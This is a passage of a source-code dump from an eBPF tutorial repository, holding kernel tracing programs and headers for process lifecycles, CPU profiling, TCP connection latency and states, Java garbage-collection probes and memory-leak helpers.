bootstrap 9 | -------------------------------------------------------------------------------- /src/11-bootstrap/bootstrap.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2020 Facebook */ 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include "bootstrap.h" 8 | 9 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 10 | 11 | struct { 12 | __uint(type, BPF_MAP_TYPE_HASH); 13 | __uint(max_entries, 8192); 14 | __type(key, pid_t); 15 | __type(value, u64); 16 | } exec_start SEC(".maps"); 17 | 18 | struct { 19 | __uint(type, BPF_MAP_TYPE_RINGBUF); 20 | __uint(max_entries, 256 * 1024); 21 | } rb SEC(".maps"); 22 | 23 | const volatile unsigned long long min_duration_ns = 0; 24 | 25 | SEC("tp/sched/sched_process_exec") 26 | int handle_exec(struct trace_event_raw_sched_process_exec *ctx) 27 | { 28 | struct task_struct *task; 29 | unsigned fname_off; 30 | struct event *e; 31 | pid_t pid; 32 | u64 ts; 33 | 34 | /* remember time exec() was executed for this PID */ 35 | pid = bpf_get_current_pid_tgid() >> 32; 36 | ts = bpf_ktime_get_ns(); 37 | bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); 38 | 39 | /* don't emit exec events when minimum duration is specified */ 40 | if (min_duration_ns) 41 | return 0; 42 | 43 | /* reserve sample from BPF ringbuf */ 44 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 45 | if (!e) 46 | return 0; 47 | 48 | /* fill out the sample with data */ 49 | task = (struct task_struct *)bpf_get_current_task(); 50 | 51 | e->exit_event = false; 52 | e->pid = pid; 53 | e->ppid = BPF_CORE_READ(task, real_parent, tgid); 54 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 55 | 56 | fname_off = ctx->__data_loc_filename & 0xFFFF; 57 | bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); 58 | 59 | /* successfully submit it to user-space for post-processing */ 60 | bpf_ringbuf_submit(e, 0); 61 | return 0; 62 | } 63 | 64 | SEC("tp/sched/sched_process_exit") 65 | int handle_exit(struct trace_event_raw_sched_process_template* ctx) 66 | { 67 | struct task_struct *task; 68 | struct event *e; 69 | pid_t pid, tid; 70 | u64 id, ts, *start_ts, duration_ns = 0; 71 | 72 | /* get PID and TID of exiting thread/process */ 73 | id = bpf_get_current_pid_tgid(); 74 | pid = id >> 32; 75 | tid = (u32)id; 76 | 77 | /* ignore thread exits */ 78 | if (pid != tid) 79 | return 0; 80 | 81 | /* if we recorded start of the process, calculate lifetime duration */ 82 | start_ts = bpf_map_lookup_elem(&exec_start, &pid); 83 | if (start_ts) 84 | duration_ns = bpf_ktime_get_ns() - *start_ts; 85 | else if (min_duration_ns) 86 | return 0; 87 | bpf_map_delete_elem(&exec_start, &pid); 88 | 89 | /* if process didn't live long enough, return early */ 90 | if (min_duration_ns && duration_ns < min_duration_ns) 91 | return 0; 92 | 93 | /* reserve sample from BPF ringbuf */ 94 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 95 | if (!e) 96 | return 0; 97 | 98 | /* fill out the sample with data */ 99 | task = (struct task_struct *)bpf_get_current_task(); 100 | 101 | e->exit_event = true; 102 | e->duration_ns = duration_ns; 103 | e->pid = pid; 104 | e->ppid = BPF_CORE_READ(task, real_parent, tgid); 105 | e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; 106 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 107 | 108 | /* send data to user-space for post-processing */ 109 | bpf_ringbuf_submit(e, 0); 110 | return 0; 111 | } 112 | 113 | -------------------------------------------------------------------------------- /src/11-bootstrap/bootstrap.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2020 Facebook */ 3 | #ifndef __BOOTSTRAP_H 4 | #define __BOOTSTRAP_H 5 | 6 | #define TASK_COMM_LEN 16 7 | #define MAX_FILENAME_LEN 127 8 | 9 | struct event { 10 | int pid; 11 | int ppid; 12 | unsigned exit_code; 13 | unsigned long long duration_ns; 14 | char comm[TASK_COMM_LEN]; 15 | char filename[MAX_FILENAME_LEN]; 16 | bool exit_event; 17 | }; 18 | 19 | #endif /* __BOOTSTRAP_H */ 20 | -------------------------------------------------------------------------------- /src/12-profile/profile.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2022 Meta Platforms, Inc. */ 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | 8 | #include "profile.h" 9 | 10 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 11 | 12 | struct { 13 | __uint(type, BPF_MAP_TYPE_RINGBUF); 14 | __uint(max_entries, 256 * 1024); 15 | } events SEC(".maps"); 16 | 17 | SEC("perf_event") 18 | int profile(void *ctx) 19 | { 20 | int pid = bpf_get_current_pid_tgid() >> 32; 21 | int cpu_id = bpf_get_smp_processor_id(); 22 | struct stacktrace_event *event; 23 | int cp; 24 | 25 | event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); 26 | if (!event) 27 | return 1; 28 | 29 | event->pid = pid; 30 | event->cpu_id = cpu_id; 31 | 32 | if (bpf_get_current_comm(event->comm, sizeof(event->comm))) 33 | event->comm[0] = 0; 34 | 35 | event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); 36 | 37 | event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); 38 | 39 | bpf_ringbuf_submit(event, 0); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /src/12-profile/profile.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2022 Meta Platforms, Inc. */ 3 | #ifndef __PROFILE_H_ 4 | #define __PROFILE_H_ 5 | 6 | #ifndef TASK_COMM_LEN 7 | #define TASK_COMM_LEN 16 8 | #endif 9 | 10 | #ifndef MAX_STACK_DEPTH 11 | #define MAX_STACK_DEPTH 128 12 | #endif 13 | 14 | typedef __u64 stack_trace_t[MAX_STACK_DEPTH]; 15 | 16 | struct stacktrace_event { 17 | __u32 pid; 18 | __u32 cpu_id; 19 | char comm[TASK_COMM_LEN]; 20 | __s32 kstack_sz; 21 | __s32 ustack_sz; 22 | stack_trace_t kstack; 23 | stack_trace_t ustack; 24 | }; 25 | 26 | #endif /* __PROFILE_H_ */ 27 | -------------------------------------------------------------------------------- /src/13-tcpconnlat/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | tcpconnlat 4 | .output 5 | -------------------------------------------------------------------------------- /src/13-tcpconnlat/tcpconnlat.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2020 Wenbo Zhang 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "tcpconnlat.h" 8 | 9 | #define AF_INET 2 10 | #define AF_INET6 10 11 | 12 | const volatile __u64 targ_min_us = 0; 13 | const volatile pid_t targ_tgid = 0; 14 | 15 | struct piddata { 16 | char comm[TASK_COMM_LEN]; 17 | u64 ts; 18 | u32 tgid; 19 | }; 20 | 21 | struct { 22 | __uint(type, BPF_MAP_TYPE_HASH); 23 | __uint(max_entries, 4096); 24 | __type(key, struct sock *); 25 | __type(value, struct piddata); 26 | } start SEC(".maps"); 27 | 28 | struct { 29 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 30 | __uint(key_size, sizeof(u32)); 31 | __uint(value_size, sizeof(u32)); 32 | } events SEC(".maps"); 33 | 34 | static int trace_connect(struct sock *sk) 35 | { 36 | u32 tgid = bpf_get_current_pid_tgid() >> 32; 37 | struct piddata piddata = {}; 38 | 39 | if (targ_tgid && targ_tgid != tgid) 40 | return 0; 41 | 42 | bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); 43 | piddata.ts = bpf_ktime_get_ns(); 44 | piddata.tgid = tgid; 45 | bpf_map_update_elem(&start, &sk, &piddata, 0); 46 | return 0; 47 | } 48 | 49 | static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) 50 | { 51 | struct piddata *piddatap; 52 | struct event event = {}; 53 | s64 delta; 54 | u64 ts; 55 | 56 | if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) 57 | return 0; 58 | 59 | piddatap = bpf_map_lookup_elem(&start, &sk); 60 | if (!piddatap) 61 | return 0; 62 | 63 | ts = bpf_ktime_get_ns(); 64 | delta = (s64)(ts - piddatap->ts); 65 | if (delta < 0) 66 | goto cleanup; 67 | 68 | event.delta_us = delta / 1000U; 69 | if (targ_min_us && event.delta_us < targ_min_us) 70 | goto cleanup; 71 | __builtin_memcpy(&event.comm, piddatap->comm, 72 | sizeof(event.comm)); 73 | event.ts_us = ts / 1000; 74 | event.tgid = piddatap->tgid; 75 | event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); 76 | event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); 77 | event.af = BPF_CORE_READ(sk, __sk_common.skc_family); 78 | if (event.af == AF_INET) { 79 | event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); 80 | event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); 81 | } else { 82 | BPF_CORE_READ_INTO(&event.saddr_v6, sk, 83 | __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); 84 | BPF_CORE_READ_INTO(&event.daddr_v6, sk, 85 | __sk_common.skc_v6_daddr.in6_u.u6_addr32); 86 | } 87 | bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, 88 | &event, sizeof(event)); 89 | 90 | cleanup: 91 | bpf_map_delete_elem(&start, &sk); 92 | return 0; 93 | } 94 | 95 | SEC("kprobe/tcp_v4_connect") 96 | int BPF_KPROBE(tcp_v4_connect, struct sock *sk) 97 | { 98 | return trace_connect(sk); 99 | } 100 | 101 | SEC("kprobe/tcp_v6_connect") 102 | int BPF_KPROBE(tcp_v6_connect, struct sock *sk) 103 | { 104 | return trace_connect(sk); 105 | } 106 | 107 | SEC("kprobe/tcp_rcv_state_process") 108 | int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) 109 | { 110 | return handle_tcp_rcv_state_process(ctx, sk); 111 | } 112 | 113 | SEC("fentry/tcp_v4_connect") 114 | int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk) 115 | { 116 | return trace_connect(sk); 117 | } 118 | 119 | SEC("fentry/tcp_v6_connect") 120 | int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk) 121 | { 122 | return trace_connect(sk); 123 | } 124 | 125 | SEC("fentry/tcp_rcv_state_process") 126 | int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk) 127 | { 128 | return handle_tcp_rcv_state_process(ctx, sk); 129 | } 130 | 131 | char LICENSE[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /src/13-tcpconnlat/tcpconnlat.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __TCPCONNLAT_H 3 | #define __TCPCONNLAT_H 4 | 5 | // #include 6 | typedef unsigned char __u8; 7 | typedef unsigned short __u16; 8 | typedef unsigned int __u32; 9 | typedef unsigned long long __u64; 10 | 11 | #define TASK_COMM_LEN 16 12 | 13 | struct event { 14 | union { 15 | __u32 saddr_v4; 16 | __u8 saddr_v6[16]; 17 | }; 18 | union { 19 | __u32 daddr_v4; 20 | __u8 daddr_v6[16]; 21 | }; 22 | char comm[TASK_COMM_LEN]; 23 | __u64 delta_us; 24 | __u64 ts_us; 25 | __u32 tgid; 26 | int af; 27 | __u16 lport; 28 | __u16 dport; 29 | }; 30 | 31 | #endif /* __TCPCONNLAT_H_ */ -------------------------------------------------------------------------------- /src/13-tcpconnlat/tcpconnlat1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/13-tcpconnlat/tcpconnlat1.png -------------------------------------------------------------------------------- /src/14-tcpstates/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | eunomia-exporter 4 | ecli 5 | tcpstates 6 | .output 7 | -------------------------------------------------------------------------------- /src/14-tcpstates/bits.bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __BITS_BPF_H 3 | #define __BITS_BPF_H 4 | 5 | #define READ_ONCE(x) (*(volatile typeof(x) *)&(x)) 6 | #define WRITE_ONCE(x, val) ((*(volatile typeof(x) *)&(x)) = val) 7 | 8 | static __always_inline u64 log2(u32 v) 9 | { 10 | u32 shift, r; 11 | 12 | r = (v > 0xFFFF) << 4; v >>= r; 13 | shift = (v > 0xFF) << 3; v >>= shift; r |= shift; 14 | shift = (v > 0xF) << 2; v >>= shift; r |= shift; 15 | shift = (v > 0x3) << 1; v >>= shift; r |= shift; 16 | r |= (v >> 1); 17 | 18 | return r; 19 | } 20 | 21 | static __always_inline u64 log2l(u64 v) 22 | { 23 | u32 hi = v >> 32; 24 | 25 | if (hi) 26 | return log2(hi) + 32; 27 | else 28 | return log2(v); 29 | } 30 | 31 | #endif /* __BITS_BPF_H */ 32 | -------------------------------------------------------------------------------- /src/14-tcpstates/maps.bpf.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2020 Anton Protopopov 3 | #ifndef __MAPS_BPF_H 4 | #define __MAPS_BPF_H 5 | 6 | #include 7 | #include 8 | 9 | static __always_inline void * 10 | bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) 11 | { 12 | void *val; 13 | long err; 14 | 15 | val = bpf_map_lookup_elem(map, key); 16 | if (val) 17 | return val; 18 | 19 | err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); 20 | if (err && err != -EEXIST) 21 | return 0; 22 | 23 | return bpf_map_lookup_elem(map, key); 24 | } 25 | 26 | #endif /* __MAPS_BPF_H */ 27 | -------------------------------------------------------------------------------- /src/14-tcpstates/tcprtt.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2021 Wenbo Zhang 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "tcprtt.h" 9 | #include "bits.bpf.h" 10 | #include "maps.bpf.h" 11 | 12 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 13 | 14 | const volatile bool targ_laddr_hist = false; 15 | const volatile bool targ_raddr_hist = false; 16 | const volatile bool targ_show_ext = false; 17 | const volatile __u16 targ_sport = 0; 18 | const volatile __u16 targ_dport = 0; 19 | const volatile __u32 targ_saddr = 0; 20 | const volatile __u32 targ_daddr = 0; 21 | const volatile bool targ_ms = false; 22 | 23 | #define MAX_ENTRIES 10240 24 | 25 | /// @sample {"interval": 1000, "type" : "log2_hist"} 26 | struct { 27 | __uint(type, BPF_MAP_TYPE_HASH); 28 | __uint(max_entries, MAX_ENTRIES); 29 | __type(key, u64); 30 | __type(value, struct hist); 31 | } hists SEC(".maps"); 32 | 33 | static struct hist zero; 34 | 35 | SEC("fentry/tcp_rcv_established") 36 | int BPF_PROG(tcp_rcv, struct sock *sk) 37 | { 38 | const struct inet_sock *inet = (struct inet_sock *)(sk); 39 | struct tcp_sock *ts; 40 | struct hist *histp; 41 | u64 key, slot; 42 | u32 srtt; 43 | 44 | if (targ_sport && targ_sport != inet->inet_sport) 45 | return 0; 46 | if (targ_dport && targ_dport != sk->__sk_common.skc_dport) 47 | return 0; 48 | if (targ_saddr && targ_saddr != inet->inet_saddr) 49 | return 0; 50 | if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) 51 | return 0; 52 | 53 | if (targ_laddr_hist) 54 | key = inet->inet_saddr; 55 | else if (targ_raddr_hist) 56 | key = inet->sk.__sk_common.skc_daddr; 57 | else 58 | key = 0; 59 | histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); 60 | if (!histp) 61 | return 0; 62 | ts = (struct tcp_sock *)(sk); 63 | srtt = BPF_CORE_READ(ts, srtt_us) >> 3; 64 | if (targ_ms) 65 | srtt /= 1000U; 66 | slot = log2l(srtt); 67 | if (slot >= MAX_SLOTS) 68 | slot = MAX_SLOTS - 1; 69 | __sync_fetch_and_add(&histp->slots[slot], 1); 70 | if (targ_show_ext) { 71 | __sync_fetch_and_add(&histp->latency, srtt); 72 | __sync_fetch_and_add(&histp->cnt, 1); 73 | } 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /src/14-tcpstates/tcprtt.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __TCPRTT_H 3 | #define __TCPRTT_H 4 | 5 | #define MAX_SLOTS 27 6 | 7 | struct hist { 8 | unsigned long long latency; 9 | unsigned long long cnt; 10 | unsigned int slots[MAX_SLOTS]; 11 | }; 12 | 13 | #endif /* __TCPRTT_H */ 14 | -------------------------------------------------------------------------------- /src/14-tcpstates/tcpstates.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | /* Copyright (c) 2021 Hengqi Chen */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "tcpstates.h" 8 | 9 | #define MAX_ENTRIES 10240 10 | #define AF_INET 2 11 | #define AF_INET6 10 12 | 13 | const volatile bool filter_by_sport = false; 14 | const volatile bool filter_by_dport = false; 15 | const volatile short target_family = 0; 16 | 17 | struct { 18 | __uint(type, BPF_MAP_TYPE_HASH); 19 | __uint(max_entries, MAX_ENTRIES); 20 | __type(key, __u16); 21 | __type(value, __u16); 22 | } sports SEC(".maps"); 23 | 24 | struct { 25 | __uint(type, BPF_MAP_TYPE_HASH); 26 | __uint(max_entries, MAX_ENTRIES); 27 | __type(key, __u16); 28 | __type(value, __u16); 29 | } dports SEC(".maps"); 30 | 31 | struct { 32 | __uint(type, BPF_MAP_TYPE_HASH); 33 | __uint(max_entries, MAX_ENTRIES); 34 | __type(key, struct sock *); 35 | __type(value, __u64); 36 | } timestamps SEC(".maps"); 37 | 38 | struct { 39 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 40 | __uint(key_size, sizeof(__u32)); 41 | __uint(value_size, sizeof(__u32)); 42 | } events SEC(".maps"); 43 | 44 | SEC("tracepoint/sock/inet_sock_set_state") 45 | int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx) 46 | { 47 | struct sock *sk = (struct sock *)ctx->skaddr; 48 | __u16 family = ctx->family; 49 | __u16 sport = ctx->sport; 50 | __u16 dport = ctx->dport; 51 | __u64 *tsp, delta_us, ts; 52 | struct event event = {}; 53 | 54 | if (ctx->protocol != IPPROTO_TCP) 55 | return 0; 56 | 57 | if (target_family && target_family != family) 58 | return 0; 59 | 60 | if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) 61 | return 0; 62 | 63 | if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) 64 | return 0; 65 | 66 | tsp = bpf_map_lookup_elem(×tamps, &sk); 67 | ts = bpf_ktime_get_ns(); 68 | if (!tsp) 69 | delta_us = 0; 70 | else 71 | delta_us = (ts - *tsp) / 1000; 72 | 73 | event.skaddr = (__u64)sk; 74 | event.ts_us = ts / 1000; 75 | event.delta_us = delta_us; 76 | event.pid = bpf_get_current_pid_tgid() >> 32; 77 | event.oldstate = ctx->oldstate; 78 | event.newstate = ctx->newstate; 79 | event.family = family; 80 | event.sport = sport; 81 | event.dport = dport; 82 | bpf_get_current_comm(&event.task, sizeof(event.task)); 83 | 84 | if (family == AF_INET) { 85 | bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); 86 | bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); 87 | } else { /* family == AF_INET6 */ 88 | bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); 89 | bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); 90 | } 91 | 92 | bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); 93 | 94 | if (ctx->newstate == TCP_CLOSE) 95 | bpf_map_delete_elem(×tamps, &sk); 96 | else 97 | bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); 98 | 99 | return 0; 100 | } 101 | 102 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 103 | -------------------------------------------------------------------------------- /src/14-tcpstates/tcpstates.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | /* Copyright (c) 2021 Hengqi Chen */ 3 | #ifndef __TCPSTATES_H 4 | #define __TCPSTATES_H 5 | 6 | #define TASK_COMM_LEN 16 7 | 8 | struct event { 9 | unsigned __int128 saddr; 10 | unsigned __int128 daddr; 11 | __u64 skaddr; 12 | __u64 ts_us; 13 | __u64 delta_us; 14 | __u32 pid; 15 | int oldstate; 16 | int newstate; 17 | __u16 family; 18 | __u16 sport; 19 | __u16 dport; 20 | char task[TASK_COMM_LEN]; 21 | }; 22 | 23 | #endif /* __TCPSTATES_H */ 24 | -------------------------------------------------------------------------------- /src/15-javagc/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | javagc 9 | *.class 10 | -------------------------------------------------------------------------------- /src/15-javagc/javagc.bpf.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2022 Chen Tao */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "javagc.h" 8 | 9 | struct { 10 | __uint(type, BPF_MAP_TYPE_HASH); 11 | __uint(max_entries, 100); 12 | __type(key, uint32_t); 13 | __type(value, struct data_t); 14 | } data_map SEC(".maps"); 15 | 16 | struct { 17 | __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); 18 | __type(key, int); 19 | __type(value, int); 20 | } perf_map SEC(".maps"); 21 | 22 | __u32 time; 23 | 24 | static int gc_start(struct pt_regs *ctx) 25 | { 26 | struct data_t data = {}; 27 | 28 | data.cpu = bpf_get_smp_processor_id(); 29 | data.pid = bpf_get_current_pid_tgid() >> 32; 30 | data.ts = bpf_ktime_get_ns(); 31 | bpf_map_update_elem(&data_map, &data.pid, &data, 0); 32 | return 0; 33 | } 34 | 35 | static int gc_end(struct pt_regs *ctx) 36 | { 37 | struct data_t data = {}; 38 | struct data_t *p; 39 | __u32 val; 40 | 41 | data.cpu = bpf_get_smp_processor_id(); 42 | data.pid = bpf_get_current_pid_tgid() >> 32; 43 | data.ts = bpf_ktime_get_ns(); 44 | p = bpf_map_lookup_elem(&data_map, &data.pid); 45 | if (!p) 46 | return 0; 47 | 48 | val = data.ts - p->ts; 49 | if (val > time) { 50 | data.ts = val; 51 | bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); 52 | } 53 | bpf_map_delete_elem(&data_map, &data.pid); 54 | return 0; 55 | } 56 | 57 | SEC("usdt") 58 | int handle_gc_start(struct pt_regs *ctx) 59 | { 60 | return gc_start(ctx); 61 | } 62 | 63 | SEC("usdt") 64 | int handle_gc_end(struct pt_regs *ctx) 65 | { 66 | return gc_end(ctx); 67 | } 68 | 69 | SEC("usdt") 70 | int handle_mem_pool_gc_start(struct pt_regs *ctx) 71 | { 72 | return gc_start(ctx); 73 | } 74 | 75 | SEC("usdt") 76 | int handle_mem_pool_gc_end(struct pt_regs *ctx) 77 | { 78 | return gc_end(ctx); 79 | } 80 | 81 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 82 | -------------------------------------------------------------------------------- /src/15-javagc/javagc.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2022 Chen Tao */ 3 | #ifndef __JAVAGC_H 4 | #define __JAVAGC_H 5 | 6 | struct data_t { 7 | __u32 cpu; 8 | __u32 pid; 9 | __u64 ts; 10 | }; 11 | 12 | #endif /* __JAVAGC_H */ 13 | -------------------------------------------------------------------------------- /src/15-javagc/tests/HelloWorld.java: -------------------------------------------------------------------------------- 1 | public class HelloWorld { 2 | public static void main(String[] args) { 3 | // loop and sleep for 1 second 4 | while (true) { 5 | System.out.println("Hello World!"); 6 | // create an object and let it go out of scope 7 | Object obj = new Object(); 8 | try { 9 | Thread.sleep(1000); 10 | } catch (InterruptedException e) { 11 | e.printStackTrace(); 12 | } 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/15-javagc/tests/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | javac HelloWorld.java 3 | java HelloWorld -------------------------------------------------------------------------------- /src/16-memleak/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | memleak 9 | -------------------------------------------------------------------------------- /src/16-memleak/maps.bpf.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2020 Anton Protopopov 3 | #ifndef __MAPS_BPF_H 4 | #define __MAPS_BPF_H 5 | 6 | #include 7 | #include 8 | 9 | static __always_inline void * 10 | bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) 11 | { 12 | void *val; 13 | long err; 14 | 15 | val = bpf_map_lookup_elem(map, key); 16 | if (val) 17 | return val; 18 | 19 | err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); 20 | if (err && err != -EEXIST) 21 | return 0; 22 | 23 | return bpf_map_lookup_elem(map, key); 24 | } 25 | 26 | #endif /* __MAPS_BPF_H */ 27 | -------------------------------------------------------------------------------- /src/16-memleak/memleak.h: -------------------------------------------------------------------------------- 1 | #ifndef __MEMLEAK_H 2 | #define __MEMLEAK_H 3 | 4 | #define ALLOCS_MAX_ENTRIES 1000000 5 | #define COMBINED_ALLOCS_MAX_ENTRIES 10240 6 | 7 | struct alloc_info { 8 | __u64 size; 9 | __u64 timestamp_ns; 10 | int stack_id; 11 | }; 12 | 13 | union combined_alloc_info { 14 | struct { 15 | __u64 total_size : 40; 16 | __u64 number_of_allocs : 24; 17 | }; 18 | __u64 bits; 19 | }; 20 | 21 | #endif /* __MEMLEAK_H */ 22 | -------------------------------------------------------------------------------- /src/16-memleak/trace_helpers.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __TRACE_HELPERS_H 3 | #define __TRACE_HELPERS_H 4 | 5 | #include 6 | 7 | #define NSEC_PER_SEC 1000000000ULL 8 | 9 | struct ksym { 10 | const char *name; 11 | unsigned long addr; 12 | }; 13 | 14 | struct ksyms; 15 | 16 | struct ksyms *ksyms__load(void); 17 | void ksyms__free(struct ksyms *ksyms); 18 | const struct ksym *ksyms__map_addr(const struct ksyms *ksyms, 19 | unsigned long addr); 20 | const struct ksym *ksyms__get_symbol(const struct ksyms *ksyms, 21 | const char *name); 22 | 23 | struct sym { 24 | const char *name; 25 | unsigned long start; 26 | unsigned long size; 27 | unsigned long offset; 28 | }; 29 | 30 | struct syms; 31 | 32 | struct syms *syms__load_pid(int tgid); 33 | struct syms *syms__load_file(const char *fname); 34 | void syms__free(struct syms *syms); 35 | const struct sym *syms__map_addr(const struct syms *syms, unsigned long addr); 36 | const struct sym *syms__map_addr_dso(const struct syms *syms, unsigned long addr, 37 | char **dso_name, unsigned long *dso_offset); 38 | 39 | struct syms_cache; 40 | 41 | struct syms_cache *syms_cache__new(int nr); 42 | struct syms *syms_cache__get_syms(struct syms_cache *syms_cache, int tgid); 43 | void syms_cache__free(struct syms_cache *syms_cache); 44 | 45 | struct partition { 46 | char *name; 47 | unsigned int dev; 48 | }; 49 | 50 | struct partitions; 51 | 52 | struct partitions *partitions__load(void); 53 | void partitions__free(struct partitions *partitions); 54 | const struct partition * 55 | partitions__get_by_dev(const struct partitions *partitions, unsigned int dev); 56 | const struct partition * 57 | partitions__get_by_name(const struct partitions *partitions, const char *name); 58 | 59 | void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type); 60 | void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, 61 | unsigned int step, const char *val_type); 62 | 63 | unsigned long long get_ktime_ns(void); 64 | 65 | bool is_kernel_module(const char *name); 66 | 67 | /* 68 | * When attempting to use kprobe/kretprobe, please check out new fentry/fexit 69 | * probes, as they provide better performance and usability. But in some 70 | * situations we have to fallback to kprobe/kretprobe probes. This helper 71 | * is used to detect fentry/fexit support for the specified kernel function. 72 | * 73 | * 1. A gap between kernel versions, kernel BTF is exposed 74 | * starting from 5.4 kernel. but fentry/fexit is actually 75 | * supported starting from 5.5. 76 | * 2. Whether kernel supports module BTF or not 77 | * 78 | * *name* is the name of a kernel function to be attached to, which can be 79 | * from vmlinux or a kernel module. 80 | * *mod* is a hint that indicates the *name* may reside in module BTF, 81 | * if NULL, it means *name* belongs to vmlinux. 82 | */ 83 | bool fentry_can_attach(const char *name, const char *mod); 84 | 85 | /* 86 | * The name of a kernel function to be attached to may be changed between 87 | * 